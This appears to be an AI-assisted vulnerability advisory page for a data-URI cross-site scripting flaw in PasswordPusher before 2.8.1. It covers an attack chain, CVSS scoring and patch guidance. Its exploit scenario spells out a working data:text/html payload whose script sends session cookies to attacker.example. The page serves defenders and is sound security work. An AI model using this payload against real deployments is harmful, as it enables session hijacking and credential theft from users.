Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCraft data:text/html URI with embedded JS
-
DeliverySubmit as URL push payload (no auth required)
-
ExploitShare push link with target via email or chat
-
InstallVictim clicks link expecting a password
-
C2Browser renders data URI as HTML under PasswordPusher origin
-
ExecuteEmbedded JavaScript executes in trusted domain context
-
ImpactHarvest credentials or session tokens
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Strict input allowlisting
|
| Exploitation Conditions | No authentication is required to create a URL push in PasswordPusher (PR:N in the CVSS 4.0 vector), so any external attacker can generate a malicious push link without an account. The victim must click the generated push link (UI:P); passive or unauthenticated server-side exploitation is not possible. The vulnerable code path is triggered specifically for URL push payloads (not password or file pushes) when the submitted URL begins with a data: scheme. The attack is limited to PasswordPusher instances running versions prior to 2.8.1; patched deployments reject data: URI schemes at input validation. The impact is limited to the victim's browser session and any credentials or data entered in attacker-rendered content - the PasswordPusher server itself is not compromised (VC:N/VI:N/VA:N per CVSS 4.0). |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/SC:H/SI:L) scores 6.3, reflecting network-accessible exploitation with no authentication required and no attack complexity, but requiring a single victim interaction (UI:P - link click). Notably, the impact metrics show no impact on the PasswordPusher system itself (VC:N/VI:N/VA:N), while the subsequent-system confidentiality impact is rated High (SC:H), correctly modeling credential or session data theft from the victim. There is no EPSS data available in the input to provide exploitation probability context. No KEV listing and no confirmed POC exist at time of analysis, so this remains a theoretical but credible threat. The real-world risk is moderate: PasswordPusher is specifically used to share credentials, making its user base a high-value phishing target - a victim who trusts a PasswordPusher link (e.g., from a corporate IT process) is primed to submit real credentials to a spoofed login form served via data URI. The unauthenticated create-push vector (PR:N) means any external attacker can generate malicious links without an account, raising the attacker-population significantly. The primary mitigating factor is required victim interaction, limiting automated or mass exploitation. |
| Exploit ScenarioDerived | An external attacker with no account creates a PasswordPusher URL push with a payload of data:text/html,<html><body><script>document.location='https://attacker.example/steal?c='+document.cookie</script></body></html> and shares the resulting push link via email to a corporate helpdesk team that routinely receives credential-sharing links from PasswordPusher. A helpdesk agent clicks the link expecting a password, the browser renders the data URI as HTML within the PasswordPusher origin, and the embedded JavaScript exfiltrates the agent's session cookies to the attacker's server. No public exploit code has been identified at time of analysis, but the technique is trivially constructable from the description alone. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 08, 2026
Cross-site scripting via data URI injection in PasswordPusher before 2.8.1 allows unauthenticated attackers to create URL pushes containing data:text/html payloads that execute arbitrary JavaScript in victims' browsers under the trusted PasswordPusher origin. The root cause is the valid_url function accepting data: URI schemes as valid URLs, meaning any attacker with push creation access can craft a link that, when clicked by a recipient, renders attacker-controlled HTML and JavaScript within the trusted application domain - enabling convincing phishing pages or session cookie harvesting. No public exploit has been identified at time of analysis, but a vendor-released patch (2.8.1) is available per the GitHub security advisory.
RemediationAI
The primary remediation is upgrading to PasswordPusher 2.8.1 or later, which introduces proper rejection of data: URI schemes in the valid_url validation function. The fix is documented in the vendor GitHub security advisory at https://github.com/pglombardo/PasswordPusher/security/advisories/GHSA-76c2-66pg-fj2f. For operators unable to patch immediately, a compensating control would be to disable anonymous (unauthenticated) push creation if the platform supports authentication-gating of push submissions, which raises the attacker barrier from PR:N to PR:L or higher and limits the attacker population to authenticated users. Note that this does not eliminate the vulnerability - an authenticated malicious insider could still exploit it - but substantially reduces external attack surface. Additionally, organizations relying on PasswordPusher in automated IT workflows should brief recipients not to click push links from unexpected senders until patching is complete, given the phishing potential of this flaw.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
PasswordPusher is an open-source web application (cpe:2.3:a:passwordpusher:passwordpusher:*:*:*:*:*:*:*:*) designed for one-time, expiring sharing of sensitive data including URLs and passwords. The vulnerable component is the valid_url server-side validation function, which enforces an allowlist of acceptable URL formats per CWE-183 (Permissive List of Allowed Inputs). The function fails to explicitly reject data: URI schemes - a browser feature that allows embedding raw content (HTML, JavaScript, images) directly inside a URI (e.g., data:text/html,<script>alert(1)</script>). Because PasswordPusher treats such URIs as valid URL push payloads and renders the destination as a clickable link, a victim's browser interprets the data URI natively when clicked, executing embedded JavaScript within the PasswordPusher domain context. This constitutes a stored, DOM-delivered XSS/content injection primitive that bypasses same-origin protections because the attack leverages the trusted domain itself as the delivery mechanism.
Know when Passwordpusher gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
Network-delivered, no auth required (PR:N), scope change to victim browser (S:C), high confidentiality risk from credential theft, low integrity for page content manipulation.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
1DescriptionCVE.org
PasswordPusher before 2.8.1 accepts data URI schemes in URL push payloads due to insufficient validation in the valid_url function. Attackers can create malicious pushes containing data:text/html URIs that execute arbitrary JavaScript in victims' browsers when clicked, enabling phishing and credential theft under the trusted PasswordPusher domain.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
More in Passwordpusher
View allPasswordPusher v1.45.11 through v2.9.5 allows unauthenticated deletion of anonymous password pushes by exploiting a nil-
Passphrase brute-force in PasswordPusher before 2.9.2 lets remote attackers who possess a push token recover the passphr
Remote unauthenticated retrieval of expired one-time secrets in PasswordPusher before 2.11.1 is enabled by a TOCTOU race
Unauthenticated attackers can create file-type pushes through Password Pusher's JSON API endpoints when the application
EUVD-2026-42371
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB